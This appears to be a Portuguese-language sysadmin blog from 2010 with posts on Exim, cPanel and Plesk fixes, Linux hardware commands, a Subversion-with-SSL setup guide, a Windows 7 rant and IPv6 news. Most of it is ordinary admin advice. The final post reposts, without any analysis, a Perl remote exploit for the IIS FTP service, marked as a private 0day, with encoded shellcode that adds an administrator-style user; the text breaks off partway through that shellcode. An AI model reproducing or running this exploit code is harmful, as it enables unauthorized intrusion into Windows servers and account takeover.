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exim4 rejected RCPT relay not permitted

Thursday, March 11th, 2010

Para sanar isto tenha certeza de alguns pontos:

1 – que a zona de dns tem um mx configurado LOCALMENTE,
2 – este tutorial foi executado no debian 5,
3 – este tutorial usou exim-heavy.

No arquivo /etc/exim4/update-exim4.conf.conf tenha certeza de que a linha linha abaixo terá a configuração que mostrarei:

dc_relay_nets=’127.0.0.1;IP_REAL_de_Pessoa_externa_tentando_enviar;IP_REAL’

Separe os ips por vírgula caso necessite de ips os quais são EXTERNOS, ou seja, pessoas conectando apra enviar emails.

EXIM CPANEL error 550 R=virtual_aliases: No Such User Here

Thursday, March 11th, 2010

Para resolver este problema atente para os pontos abaixo, e a medida que for descendo as linhas nesta dica você estará aplicando o que vou falando e testando, pois existem diversas formas de solucionar este erro:

1 – Verifique se o domínio que está tentando enviar o email está no /etc/localdomains – caso o MX dele seja externo, verifique se ele se encontra em /etc/remotedomains.

2 – Um erro comum é criar um domínio famoso e tenar enviar um email para ele, vamos supor que por uma brincadeira/teste você criou o domínio do Gmail (gmail.com) dentro de seu whm. Caso isso tenha ocorrido, no momento em que alguém tentar enviar um email para o Gmail a mensagem de erro R=virtual_aliases: No Such User Here irá aparecer.
Remova o domínio em questão e refaça os testes. (ou coloque o domínio que cadastrou de testes no /etc/remotedomains)

3 – Caso os passos acima não resolvam, force a requisição de autenticidade de emails no nas configurações do exim -> editor avançado informando:

require verify = recipient

4 – se mesmo assim não funcionar eu sugiro que siga os passos abaixo (último caso):

http://www.mydigitallife.info/2007/07/24/exim-sender-verify-callout-or-callback-could-not-complete-or-verification-failed-error/

Abraços e espero ter ajudado.

Como fazer com que o cpanel seja acessível por outra url exceto /cpanel? ex: /meupainel

Wednesday, March 10th, 2010

Em /usr/local/apache/conf/httpd.conf procure a linha abaixo:
ScriptAliasMatch ^/?controlpanel/?$ /usr/local/cpanel/cgi-sys/redirect.cgi

Abaixo dela, cole:
ScriptAliasMatch ^/?painell/?$ /usr/local/cpanel/cgi-sys/redirect.cgi

Salve e feche o arquivo e execute o comando abaixo:
/usr/local/cpanel/bin/apache_conf_distiller –update;/usr/local/cpanel/bin/build_apache_conf

Após, reinicie o httpd:
service httpd restart

Fonte:

http://www.forumcpanel.com.br/index.php?showtopic=8912&pid=40102&st=0&#entry40102

Windows 7: Embalado como prostituta e comercializado como rainha!

Thursday, March 4th, 2010

Bom dia a todos,

hoje acordei como dizem na minha terra, “virado”, e pensei em colocar na web um pouco da minha idéia em cima do Windows 7.
Muitos sabem que sou amante do Gnu/Linux assim como um admirador do Windows Server 2003 (não é o 2008).
O foco aqui não é ser xiita ou mesmo um defensor de sistemas/ferramentas X ou Y, o caso aqui é mostrar como brasileiro paga por “enlatado” e não tem sequer idéia do que está levando para casa.

Toda prostituta (ou quase toda) faz “serviço completo”, isto mesmo, mulheres da noite costumam fazer sexo anal, sexo oral, sexo normal e ainda outras fantasias do “comprador de prazeres momentaneos”. (não estou defendendo este mercado)

Vamos fazer uma comparação rápida sobre o Windows Vista:

1 – Aero não é um tema/função do Windows 7 (Todos sabem e já foi noticiado por empresas/jornais de grande porte como o Windows Vista tornou-se um tiro no pé para o consumidor).
2 – O custo deste sistema operacional em relação ao seu antepassado e quase finado Windows XP é absurdamente maior.
3 – A quantidade de Bugs que esse sistema apresenta, os crashes de fechar suites e programas no geral é incontável.

Assim que o Windows Vista saiu a “modinha” da época (eu era analista de suporte e acompanhava as tendências de “skins”) era deixar o desktop bonitinho, atraente.

Quem acompanhou palestras dos “partners” por volta de 2007 no nordeste viu que eles (Microsoft) gritavam ao mundo: “O Linux faz isto?”, “O Linux faz aquilo?”.

Era literalmente isto, e os “amigos dos partners” abriam um sorriso na platéia, o foco ali era rebaixar ao máximo o Linux.

O tempo (o santo remédio)

Bastou que o tempo passasse e pimba, vimos os “amigos dos partners” desabafando nos fóruns por que o aplicativo X não operava com estabilidade, impressoras foram dando erro, anti-vírus em sua defesa proativa tinha crashes e assim a coisa se resumiu em: “Somos dementes, compramos e agora arcamos com nossa imbecilidade!”.
Na época das palestras “partnes”, eu implementava serviços “híbridos” em redes, ou seja, em alguns lugares para segurar o tipo de demanda eram instalados Linux e em outros lugares eram instalados Windows Server 2003.
A rede que interligamos (na mesma época de analista) era enorme (cidades rodando sobre interligação via embratel por adsl corporativo), active directory + unidades organizacionais operando nota mil.
A rede era composta de poucos linux (os poucos eram objetos integrados no active directory) e a maior parte Windows XP professional.

O tempo passou e a necessidade de atualizar o parque computacional se tornou um drama, primeiro por que ter a plataforma Vista em um PC era necessário ter um hardware MUITO bom, segundo que a licença do Windows Vista Business (era o que atenderia) era caríssima.
Os “amigos dos partners e mvps” estavam tristes e cabisbaixos por que fazer o upgrade da rede era gradativo e custava uma “bagatelinha” de 3 x quase R$ 100.000,00. (isto por que eles ganhariam o direito de partner, ou seja, os softwares viriam com uma bolsinha colorida na nova versão e uma etiqueta de PARTER, que “luxo”!).

A fantasia com a prostuta acabou ali, saiba que quando um empresário vai colocar a corda no pescoço ele sabe que isto deve ocorrer para o crescimento da empresa, mas passar 90 dias por que ser um “partner MVP” é maravilho, ah meu amigo, isso ele abandona na hora!

Minha sugestão na época foi implementar o Ubuntu como plataforma Desktop/Workstation, isto iria reduzir muito os custos, visto que parte dos softwares poderia rodar sob Wine assim como a parte de impressão e compartilhamento de arquivos estaria suprida (que show!).

Obs: NUNCA contrate uma empresa para desenvolver um software que rode somente na plataforma X, isto pode gerar muitos custos a sua empresa. (falo isto com base no que vivi, por isso acho bacana Free Software/Open Source)

“Graças” a empresa que na época era parceira e que tinha portado o suite da empresa para Windows (É em Delphi), o código não tinha chance de rodar no Linux graças as muitas bibliotecas usadas pelo Windows (que o aplicativo necessitava).

Com o passar dos meses percebi que “ser um partner” era um estupro financeiro e que os “amigos dos partners” eram estupradores de empresas devido o fato de “usarem o melhor de um mvp”, ou seja, toda fonte de bibliotecas DOS/NT sob domínio de programadores e com clicks milagrosos e pronto, “uma tela de sistema estava pronta” e simplesmente davam um “lock” no seu aplicativo, ou seja, não tinha como migrar para outra plataforma! UHUUU!

A saída para esta empresa era portar seus sistemas para Windows Vista (e se lascar com os custos de Hardware e “partner”), ficar do jeito que está ou enfrentar uma maratona para migrar quase tudo para Linux. O que decidiram?
Ficar com Windows XP, não gastar nada e deixar “o time que está ganhando, ganhando!”.
O ruim dessa teoria é que “um dia o partner ou paga para subir de versão do sistema ou será esquecido pelo Windows Update”.

O tempo passou e foi o “remédio” para os “sonhadores de um dia serem amigos dos partners e partners e mvps dos mvps”.

A chegada da correção do Windows Vista

Quando a Microsoft percebeu que perdeu muito espaço para outros sistemas operacionais (ela tem nojo do termo Ubuntu, pode perguntar aos “partners”) ela decidiu que precisava fazer algo mais leve, tentar dar estabilidade e usabilidade ao Windows Vista (é isto mesmo, dar uma “cara melhor” ao Vista).
Isto aconteceu!
Com o lançamento do Windows 7 podemos ver um rápido CTRL + C e CTRL + V do Vista -> 7, e em consequência disto os “Live Crashes” ainda andam por aí.
Alguém aqui consegue usar o Messenger Live no Windows 7 sem tela azul?
Mas o que é isso? Mais de R$ 500,00 para ver seu PC dando tela azul?
Perdeu seu documento e ainda assim vai se contentar com isto?
Hora, 2 gerações atrás um carinha chamado XP não apresentava 90% dessa instabilidade e mesmo assim vai ficar aí acomodado?

A “prostituta” apareceu como rainha em meio aos “partners” que por sua vez (novamente) sairam às ruas e auditórios a falar: “O Linux faz isto?”.
Os crashes voltaram mais rápidos que nunca, mais versáteis que nunca, mais atraentes que nunca (isto, era tela azul bem rápido, agora é beeeem gradativa), na tentativa de desligar o pc você encontra tela de fechamento de aplicativos de maneira abrupta e etc.

Pelo menos é bem mais rápido e bonito que o Windows Vista!

Aos partners e amigos dos partners, assim como mvps, “Uma rainha”, aos usuários/desenvolvedores/secretárias/sysadmins, “Uma prostituta que não cumpre pelo que foi pago”!

Todos sabem que às bibliotecas do Windows Vista foram aproveitadas no Windows 7, assim como muito da parte do kernel (há quem diga que não).

O Windows server 2008 não deveria se chamar Windows Vista with services included?
Falar que o Windows server 2008 é bom por que é focado em virtualização é uma loucura, isto por que nenhuma plataforma chega aos pés do CitrixServer ou VMware em suas versões enterprise. (só falta eu tirar minha conclusão em cima da Parallels)

Quem usa sabe que é terrível se localizar neste sistema, e o pior, fazer a coisa andar ali é quase um milagre.

Ainda estou esperando um lançamento decente deles, e creio que será algo bem mais amigável/estável/funcional/barato que o Windows 7, disso eu tenho certeza.

Como corrigir automaticamente permissões inseguras em scripts e pastas de um domínio no linux/whm?

Sunday, February 28th, 2010

Rode os comandos como root:

find /home/*/public_html -type d -exec chmod 755 {} \;
find /home/*/public_html -type f -exec chmod 644 {} \;

Isto fará com que os arquivos possam receber permissões 644 e os diretórios 755.

Abraços.

Após restaurar um servidor WHM todos os meus pacotes (planos) sumiram, como recuperar os pacotes antigos?

Saturday, February 27th, 2010

Em inglês seria how to recovery packages, em pt_br, como recuperar pacotes de um servidor formatado?
A idéia é salvar desde pessoas que procuram como americanos ou brasileiros.
Isto é uma dúvida comum para as pessoas que migram seus servidores (ou recuperam após um grave problema) e não sabem como recuperar os pacotes do servidor.
Bem, nada de preocupação!

Assim que o servidor for formatado, acesse o disco antigo e copie a pasta /antigo_disco_montado/var/cpanel/packages /var/cpanel/packages

Pronto, para conferir você pode listar todas as contas e verá que os respectivos pacotes estarão ok ;)

Abraços.

You must specify a FilePath to the XML file you want to load!

Wednesday, February 24th, 2010

Se você está recebendo mensagens de erro neste estilo aqui ó:

You must specify a FilePath to the XML file you want to load!

This message error:

[Exception: You must specify a FilePath to the XML file you want to load!]
nDeveloper.Util.Config.ConfigEditor.AllParameters() +136
nDeveloper.Util.Config.ConfigEditor.LoadConfigFile() +16
nDeveloper.Util.Config.ConfigEditor..ctor(String FilePath) +133
nDeveloper.BO.Base.Config.ConfigFile.GetValue(String Key) +40
nDeveloper.BO.Base.Domain.DataBaseConfig.GetServerType() +42
nDeveloper.BO.Base.Domain.DataBaseConfig.GetConnectionString() +61
Vsoft.iPortal.BO.DataAccess.BaseDb..ctor() +38
Vsoft.iPortal.BO.DataAccess._NoticiaDA..ctor() +24
Vsoft.iPortal.BO.DataAccess.NoticiaDA..ctor() +24
Vsoft.iPortal.BO.BusinessLogic.Noticia.ListaNoticias(Nullable`1 SecaoID, Int32 Quantidade, Nullable`1 CaracterizacaoID) +48
Start_Default.CarregaDestaques() +173
Start_Default.Page_Load(Object sender, EventArgs e) +30
System.Web.Util.CalliHelper.EventArgFunctionCaller(IntPtr fp, Object o, Object t, EventArgs e) +15
System.Web.Util.CalliEventHandlerDelegateProxy.Callback(Object sender, EventArgs e) +33
System.Web.UI.Control.OnLoad(EventArgs e) +99
System.Web.UI.Control.LoadRecursive() +47
System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyn

Nada de dor de cabeça, há uma probabilidade enorme do seu sistema não estar deixando o IIS e o ASPNET acessarem a pasta que contém o arquivo XML.

E digo mais, é comum também de tabela receber este erro aqui:

Detalhes da Exceção: System.UnauthorizedAccessException: Acesso ao caminho “C:\Inetpub\wwwroot\caminho\dados\arquivo_problema.xml” foi negado.

Nas propriedades da pasta dados, altere as permissões da conte \ASPNET ou IUSR_MACHINENAME. A mensagem de erro fornece uma breve descrição sobre os dois casos :

“O ASP.NET não está autorizado a acessar o recurso solicitado. Recomenda-se conceder à identidade de solicitação do ASP.NET direitos de acesso ao recurso. O ASP.NET tem uma identidade de processo-base (geralmente {MACHINE}\ASPNET no IIS 5 ou Serviço de Rede no IIS 6) que é usada se o aplicativo não estiver sendo representado. Se o aplicativo estiver sendo representado através de , a identidade será o usuário anônimo (geralmente IUSR_MACHINENAME) ou o usuário de solicitação autenticado. “

como listar a memória do cumputador ou placa-mãe no linux how to list memory or motherboard pc or server on console

Wednesday, February 24th, 2010

Tá, isso aí é dúvida de muuuuuuita gente, mas é algo simples.
As vezes precisamos fazer perícias para saber se uma aplicação/daemon será compatível com nossa estrutura de dispositivos (arquitetura, fsb, chipset e etc), e para isto precisamos de informações beeeeem detalhadas.
Abaixo descrevo alguns comandos que acho bacana:

lspci
Este comando lhe dá um detalhe bem legal sobre dispositivos pci em seu pc.
Em um pc simples a saída fica mais ou menos assim:

00:00.0 Host bridge: VIA Technologies, Inc. P4M800 Host Bridge
00:00.1 Host bridge: VIA Technologies, Inc. P4M800 Host Bridge
00:00.2 Host bridge: VIA Technologies, Inc. P4M800 Host Bridge
00:00.3 Host bridge: VIA Technologies, Inc. P4M800 Host Bridge
00:00.4 Host bridge: VIA Technologies, Inc. P4M800 Host Bridge
00:00.7 Host bridge: VIA Technologies, Inc. P4M800 Host Bridge
00:01.0 PCI bridge: VIA Technologies, Inc. VT8237/VX700 PCI Bridge
00:0f.0 RAID bus controller: VIA Technologies, Inc. VIA VT6420 SATA RAID Controller (rev 80)
00:0f.1 IDE interface: VIA Technologies, Inc. VT82C586A/B/VT82C686/A/B/VT823x/A/C PIPC Bus Master IDE (rev 06)
00:10.0 USB Controller: VIA Technologies, Inc. VT82xxxxx UHCI USB 1.1 Controller (rev 81)
00:10.1 USB Controller: VIA Technologies, Inc. VT82xxxxx UHCI USB 1.1 Controller (rev 81)
00:10.2 USB Controller: VIA Technologies, Inc. VT82xxxxx UHCI USB 1.1 Controller (rev 81)
00:10.3 USB Controller: VIA Technologies, Inc. VT82xxxxx UHCI USB 1.1 Controller (rev 81)
00:10.4 USB Controller: VIA Technologies, Inc. USB 2.0 (rev 86)
00:11.0 ISA bridge: VIA Technologies, Inc. VT8237 ISA bridge [KT600/K8T800/K8T890 South]
00:11.5 Multimedia audio controller: VIA Technologies, Inc. VT8233/A/8235/8237 AC97 Audio Controller (rev 60)
00:12.0 Ethernet controller: VIA Technologies, Inc. VT6102 [Rhine-II] (rev 78)
01:00.0 VGA compatible controller: VIA Technologies, Inc. KM400/KN400/P4M800 [S3 UniChrome] (rev 01)

Para informações beeem detalhadas use lspci -vv
(use os camandos como root).

lshw
Este comando é muito amigável e lhe dá um resumo bem bombado sobre seu hardware (memória, cpu e etc).
Em alguns casos ele consegue informar a frequência da memória (isto mesmo, ddr 1066 por exemplo).
Esse comando (na minha opinião) deve ser usado da seguinte forma:

lshw | more

O pipe “|” + more serve para paginar a saída de maneira que você possa ver pausadamente.

A saída deste comando é beeem legal, veja um pedacinho da saída falando de memória:

*-memory:0
description: System Memory
physical id: 40
slot: System board or motherboard
size: 4GiB
*-bank:0
description: DIMM 667 MHz (1.5 ns)
product: None
vendor: None
physical id: 0
serial: None
slot: DIMM_B1
size: 2GiB
width: 64 bits
clock: 667MHz (1.5ns)

Legal né?

Arquivo cpuinfo
Essa é uma das formas mais simples de saber que flags seu processador tem, qual velocidade dele, memória cache (L1, L2…) e etc.
Use da seguinte forma:

cat /proc/cpuinfo
A saída deste comando deve sair parecida com esta:

processor : 0
vendor_id : GenuineIntel
cpu family : 15
model : 4
model name : Intel(R) Pentium(R) 4 CPU 3.40GHz
stepping : 10
cpu MHz : 3400.425
cache size : 2048 KB
physical id : 0
siblings : 1
core id : 0
cpu cores : 1
apicid : 0
fdiv_bug : no
hlt_bug : no
f00f_bug : no
coma_bug : no
fpu : yes
fpu_exception : yes
cpuid level : 5
wp : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe lm constant_tsc up pni monitor ds_cpl est cid cx16 xtpr lahf_lm
bogomips : 6805.08

Legal!

arquivo devices
Esse é um meio muito resumido e particularmente não gosto muito, mas segue a dica:
cat /proc/devices

Mostra os dispositivos resumidamente (no estilo lsmod).

Arquivo meminfo
Este arquivo lhe informa memória com um pouco mais de detalhes:
cat /proc/meminfo

Comando dmesg
Esse comando é muito legal, precisa somente de um extrinha:
use-o com o more!

dmesg | more

Normalmente a saída é enorme.
O comando dmesg dá um resumo do startup do sistema operacional lgnu/linux, assim como detalha em um rápido processo as coisas boas e ruins que estão ocorrendo com o sistema. (MUITO ÚTIL).
Erros de boot, erros de kernel, dispositivos desconhecidos e etc!

dmidecode
O comando dmidecode é um monstro. Esse comando dá todos os detalhes de hardware (isto mesmo, informe até o modelo da placa-mãe).
Utilize-o da seguinte forma:

dmidecode | more

Um pouco da saída:

System Information
Manufacturer: MICRO-STAR INTERNATIONAL CO., LTD
Product Name: MS-7071
Version: 1.00
Serial Number:
UUID: Not Present
Wake-up Type: Power Switch

Esse comando é uma mãe! Isto mesmo, muito bom para saber as informações detalhadas de uma motherboard, sem contar que você pode colher as informações de chipset e modelo da placa-mãe, podendo assim até consultar informações direto do fabricante.

Abraços a todos e espero que este post tenha sido útil.

path ou caminho das estatísticas de domínios no plesk

Sunday, February 21st, 2010

Muitas vezes precisamos de estatísticas (LOGS DO DOMÍNIO) para analizar algum erro em um servidor e nos deparamos comum certo dilema:

O plesk não é como “as coisas naturais do iis são”… lol
É isto mesmo, os logs que mostram erros críticos em um site não ficam localizados em:
C:\Windows\System32\LogFiles\W3SVCXXXXX (aonde XXXXX são números).

Caso queira achar uma informação proveitosa de um domínio a saída está aqui:

C:\INETPUB\VHOSTS\SITEASERANALIZADO.COM.BR\STATISTICS\LOGS\W3SVCXXXXX (XXXXX = números)

Se achar a resolução do problema, pls, dê um whois no meu domínio, ache minha casa e me mande uma caixa de BIS, please!

how to install ImageMagick on cPanel como instalar ImageMagick no cpanel

Sunday, February 21st, 2010

Boa tarde ALL,

Super simples, logue-se como root e rode os seguintes comandos:

/scripts/checkimagemagick

Caso Não seja exibido “OK” rode o comando abaixo:

/scripts/installimagemagick

Pronto!

How to install a clean Fantastico Deluxe como instalar o fantástico do zero

Friday, February 19th, 2010

Rode os comandos abaixo como root:

cd /usr/local/cpanel/whostmgr/docroot/cgi
wget -N http://files.betaservant.com/files/free/fantastico_whm_admin.tgz
tar -xzpf fantastico_whm_admin.tgz
rm -rf fantastico_whm_admin.tgz

Depois é só correr para o abraço e observar em seu whm no último menu ,o fantastico estará lá, bastando somente clicar em install e mandar ficha!

Como instalar subversion no ubuntu Karmic (9.10) – how to install subversion ubuntu 9.x com ssl

Sunday, February 14th, 2010

Boa noite ALL,

Abaixo mostro como instalar o subversion no ubuntu karmic (9.10):

Como em toda instalação ou configuração no Ubuntu, recomendo atualizar os repositórios do APT e instalar quaisquer atualizações disponíveis.

# apt-get update
# apt-get upgrade
Instalação do Subversion

Os pacotes necessários são: subversion, libapache2-svn, apache2 e ssl-cert, onde:

* subversion – é o pacote contendo além dos arquivos binários, também as ferramentas de administração svnadmin e distribuição svnserve;
* libapache2-svn – contém os módulos mod_dav_svn e mod_authz_svn que permitem o acesso aos repositórios através do protocolo http e https via WebDAV;
* apache2 – é servidor web. Veja mais em: http://pt.wikipedia.org/wiki/Servidor_Apache;
* ssl-cert – pacote que permite a instalação de outros pacotes que precisam criar certificados SSL. Leia também sobre OpenSSL.

Para instalação desse pacotes utilize o comando abaixo:

# apt-get install subversion libapache2-svn apache2 ssl-cert
Habilitando o Suporte ao SSL

Após a instalação, vamos habilitar o suporte a SSL no Apache 2. Para isso, é necessário criar um certificado digital. Utilizando o comando make-ssl-cert é possível fazer esta criação, porém é necessário utilizar um modelo de configuração. Por padrão o Ubuntu Intrepid Ibex (Ubuntu 8.10) já traz este modelo em /usr/share/ssl-cert/ssleay.cnf. Sugiro dar uma olhada neste modelo, eu particularmente fiz algumas alterações que visam exibir informações do responsável pela emissão do certificado. Veja o modelo:

#
# SSLeay example configuration file.
#

RANDFILE = /dev/urandom

[ req ]
default_bits = 1024
default_keyfile = privkey.pem
distinguished_name = req_distinguished_name
prompt = no
policy = policy_anything

[ req_distinguished_name ]
commonName = @HostName@
emailAddress = Seu Email
organizationalUnitName = Departamento
organizationName = Empresa
localityName = Campinas
stateOrProvinceName = Sao Paulo
countryName = BR

Não há problemas caso você não faça nenhuma modificação.

Crie o diretório onde o certificado será criado:

# mkdir /etc/apache2/ssl

Agora, utilizando o make-ssl-cert e o modelo no arquivo ssleay.cnf vamos criar o certificado armazenando-o no arquivo apache.pem:

# make-ssl-cert /usr/share/ssl-cert/ssleay.cnf /etc/apache2/ssl/apache.pem

Surgirá uma tela, como a figura abaixo, onde será solicitado o nome do servidor. Eu, particularmente, preencho com o IP, pois meu DNS não está configurado e pretendo acessar o Subversion em outras máquinas.
Criação do certificado SSL. Definindo o nome do servidor.

Criação do certificado SSL. Definindo o nome do servidor.

Vamos definir a permissão ao arquivo.

# chmod 660 /etc/apache2/ssl/apache.pem
Configurando Apache 2 e habilitando o SSL

Verifique se o Apache 2 para que seja habilitada o suporte a porta 443. Para isso visualize o arquivo ports.conf no diretório do Apache 2:

# vi /etc/apache2/ports.conf

Seu arquivo deverá estar como mostro abaixo:

NameVirtualHost *:80
Listen 80


# SSL name based virtual hosts are not yet supported, therefore no
# NameVirtualHost statement here
Listen 443

Para habilitar o módulo de suporte ao SSL no Apache 2 é necessário utilizar o script a2enmod. O a2enmod criará um link simbólico no diretório /etc/apache2/mod-enabled. Para desabilitar um módulo utilize o script a2dismod. A linha de comando é:

# a2enmod ssl

O último passo da configuração do Apache 2, para o perfeito funcionamento do SSL, consiste em criar o arquivo svn em /etc/apache2/sites-available, este arquivo deve conter as configurações para a porta 443, ou seja, a porta ao qual definimos como responsável pelo SSL.

Para isso vamos copiar o arquivo default que está em /etc/apache2/sites-available para o arquivo svn.

# cp /etc/apache2/sites-available/default /etc/apache2/sites-available/svn

Agora edite o arquivo utilizando o vim:

# vi /etc/apache2/sites-available/svn

Altere a linha para e logo abaixo adicione as linhas:

SSLEngine on
ServerSignature On
SSLCertificateFile /etc/apache2/ssl/apache.pem

Vamos entender cada uma das três linhas acima:

* SSLEngine on – Ativa se definida como “on” a utilização do protocolo SSL/TLS;
* SeverSignature On – Ativa ou desativa a exbição da assinatura do servidor, ou seja, a linha que exibe as configurações do Apache. Por exemplo: Apache/2.2.9 (Ubuntu) DAV/2 SVN/1.5.1 PHP/5.2.6-2ubuntu4.1 with Suhosin-Patch mod_ssl/2.2.9 OpenSSL/0.9.8g Server at 192.168.0.30 Port 44. Na influencia no funcionamento do servidor;
* SSLCertificateFile – Define o caminho para certificado.

Após a criação do arquivo svn, então é necessário habilitá-lo no Apache 2. Para isso utilize o script a2ensite. Este script habilita arquivos que contenham o bloco no Apache2. Para desabilitar um arquivo de configuração utilize o script a2dissite. A linha de comando é esta:

# a2ensite svn

Reinicialize o Apache 2 com o comando:

# /etc/init.d/apache2 force-reload

Caso ocorra algum erro, então consulte o arquivo de log do Apache 2. Este arquivo está localizado em /var/log/apache2/error.log.

Dica de solução:

# openssl req -config /usr/share/ssl-cert/ssleay.cnf -new -x509 -days 1460 -nodes -out /etc/apache2/ssl/apache.pem -keyout /etc/apache2/ssl/apache.pem

Teste seu servidor, digitando no navegador o endereço IP precedido por https, por exemplo: https://

Você poderá ver uma página como a da figura abaixo. Fique tranquilo! Essa mensagem não reflete um problema em seu servidor. Na verdade a mensagem é exibida, pois você configurou um certificado próprio (auto-assinado) e não foi emitido por uma autoridade certificadora, como é o caso de sites que utilizam certificado homologado pela VeriSign. Apenas clique no link “você pode adicionar uma exceção” e depois no botão “Adicionar exceção…”. Aparecerá seu endereço IP. “Clique em verificar certificado” e logo em seguida, clique no botão “Confirmar exceção de segurança”. Pronto.
Firefox: Falha na conexão segura

Firefox: Falha na conexão segura
Configurando o Subversion

Vamos criar um repositório de teste para que possamos garantir a correta instalação (e na sequência vamos finalizar a instalação). Para criarmos um repositório é necessário criar um diretório e a partir dele, alterarmos o “proprietário” do diretório e definir as permissões. Após estes passos, então poderemos adicioná-lo ao Subversion com o comando svnadmin. Com o svnadmin é possível manipular usuários, projetos, repositórios e acessos.

# mkdir /var/svn/teste
# chown -R www-data:www-data /var/svn/teste
# chmod -R g+ws /var/svn/teste
# svnadmin create /var/svn/teste

Agora vamos habilitar a autenticação no Apache 2. O htpasswd é o responsável pela criação e atualização de arquivos que armazenam o nome de usuário (login) e a senha para autenticação via HTTP.

# htpasswd -c -m /etc/apache2/dav_svn.passwd admin

A opção -c cria ou reescreve e “trunca” o arquivo de senha. Já a opção -m é responsável por definir que o método MD5 será utilizado para criptografia da senha.

Repare que no final da linha, após o caminho, existe o nome de usuário utilizado, ou seja, admin. Após executado comando acima, será solicitada uma senha. Evite esquecer a senha.

Caso precise adicionar mais usuários, basta utilizar o mesmo comando acima, porém sem a opção -c. Exemplo:

# htpasswd -m /etc/apache2/dav_svn.passwd programador

Após a definição da senha, então devemos editar o arquivo dav_svn.conf para habilitar o WebDAV e o SVN no Apache 2.

# vi /etc/apache2/mods-available/dav_svn.conf

Agora altere o arquivo dav_svn.conf para a estrutura como mostrada abaixo:


DAV svn
SVNParentPath /var/svn
AuthType Basic
AuthName “Repositorio da Logica Digital”
AuthUserFile /etc/apache2/dav_svn.passwd
Require valid-user
SSLRequireSSL

Entendendo as linhas de configuração:

* – como o repositório deve aparecer no navegador, no caso irá aparecer https://ip-do-servidor/svn;
* DAV svn – habilita o repositório;
* SVNParentPath – utilizado para múltiplos repositórios;
* AuthType Basic – define o método de autenticação de usuário. É possível inclusive utilizar LDAP para habilitar Single sign-on. Prometo que farei um post sobre essa configuração;
* AuthName – serve apenas como descritivo;
* AuthUserFile – caminho do arquivo criado pelo comando htpasswd;
* Require valid-user – configuração para que apenas usuários autenticados tenham acesso ao repositório. É possível tornar o servidor acessível à usuários anônimos, porém eu não acho uma boa prática;
* SSLRequireSSL – obriga que a comunicação com o servidor de controle de versão seja feita sobre o protocolo SSL.

Após configurado o arquivo de integração entre o Subversion e o Apache 2, então é necessário reinicializar o Apache 2:

# /etc/init.d/apache2 force-reload

Acesse, através do seu navegador, o endereço https://ip-do-servidor/svn/teste. Assim você estará testando seu novo servidor de controle de versão com Subversion. Caso ele esteja funcionando corretamente, após a autenticação, será exibida uma página como abaixo:
Servidor Subversion autenticado via Apache 2

Servidor Subversion autenticado via Apache 2

Pronto. O servidor de controle de versão com Subversion, Apache 2 com SSL no Ubuntu Intrepid Ibex está funcionado. O próximo post virá com dicas de utilização.

FONTE 100%: http://andreferraro.wordpress.com/2009/04/05/linux-instalando-o-subversion-com-apache-2-e-ssl-no-ubuntu-intrepid-ibex-ubuntu-810/

Corrida contra o tempo já começa entre os grandes para implementação do IPV6

Tuesday, February 9th, 2010

Google, Microsoft, Twitter, Facebook, eBay, Yahoo e Wikipedia sofrem cada vez mais pressão para se adequar ao novo protocolo da internet.

Cresce a pressão para que os sites mais populares da internet integrem suas redes ao IPv6, o tão aguardado upgrade do principal protocolo da internet, que atualmente está na versão 4.

E essa pressão foi elevada em mais um grau esta semana, com a notícia de que o Google ativou o suporte ao IPv6 para o site de vídeos YouTube. O Google já oferece acesso IPv6 a seu site de buscas e a muitos outros serviços da web.

Confira toda a matéria em:
http://br-linux.org/2010/o-que-7-gigantes-da-web-estao-fazendo-para-adotar-o-ipv6/

Exploit para o IIS 6 (FTPD) – BOF

Monday, February 1st, 2010

# IIS 5.0 FTPd / Remote r00t exploit
# Win2k SP4 targets
# bug found & exploited by Kingcope, kcope2googlemail.com
# Affects IIS6 with stack cookie protection
# August 2009 - KEEP THIS 0DAY PRIV8
use IO::Socket;
$|=1;
#metasploit shellcode, adduser "winown:nwoniw"
$sc = "\x89\xe2\xda\xde\xd9\x72\xf4\x5b\x53\x59\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" .
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" .
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" .
"\x42\x75\x4a\x49\x4b\x4c\x4a\x48\x50\x44\x43\x30\x43\x30" .
"\x43\x30\x4c\x4b\x47\x35\x47\x4c\x4c\x4b\x43\x4c\x45\x55" .
"\x42\x58\x45\x51\x4a\x4f\x4c\x4b\x50\x4f\x45\x48\x4c\x4b" .
"\x51\x4f\x51\x30\x43\x31\x4a\x4b\x47\x39\x4c\x4b\x47\x44" .
"\x4c\x4b\x43\x31\x4a\x4e\x50\x31\x49\x50\x4c\x59\x4e\x4c" .
"\x4c\x44\x49\x50\x44\x34\x43\x37\x49\x51\x49\x5a\x44\x4d" .
"\x43\x31\x49\x52\x4a\x4b\x4c\x34\x47\x4b\x51\x44\x46\x44" .
"\x43\x34\x43\x45\x4a\x45\x4c\x4b\x51\x4f\x51\x34\x43\x31" .
"\x4a\x4b\x43\x56\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f" .
"\x45\x4c\x45\x51\x4a\x4b\x4c\x4b\x45\x4c\x4c\x4b\x45\x51" .
"\x4a\x4b\x4b\x39\x51\x4c\x46\x44\x44\x44\x48\x43\x51\x4f" .
"\x46\x51\x4c\x36\x43\x50\x50\x56\x45\x34\x4c\x4b\x50\x46" .
"\x50\x30\x4c\x4b\x47\x30\x44\x4c\x4c\x4b\x42\x50\x45\x4c" .
"\x4e\x4d\x4c\x4b\x42\x48\x45\x58\x4d\x59\x4a\x58\x4c\x43" .
"\x49\x50\x43\x5a\x46\x30\x43\x58\x4c\x30\x4c\x4a\x44\x44" .
"\x51\x4f\x43\x58\x4a\x38\x4b\x4e\x4d\x5a\x44\x4e\x50\x57" .
"\x4b\x4f\x4a\x47\x42\x43\x42\x4d\x45\x34\x46\x4e\x42\x45" .
"\x44\x38\x43\x55\x47\x50\x46\x4f\x45\x33\x47\x50\x42\x4e" .
"\x42\x45\x43\x44\x51\x30\x44\x35\x44\x33\x45\x35\x44\x32" .
"\x51\x30\x43\x47\x43\x59\x42\x4e\x42\x4f\x43\x47\x42\x4e" .
"\x51\x30\x42\x4e\x44\x37\x42\x4f\x42\x4e\x45\x39\x43\x47" .
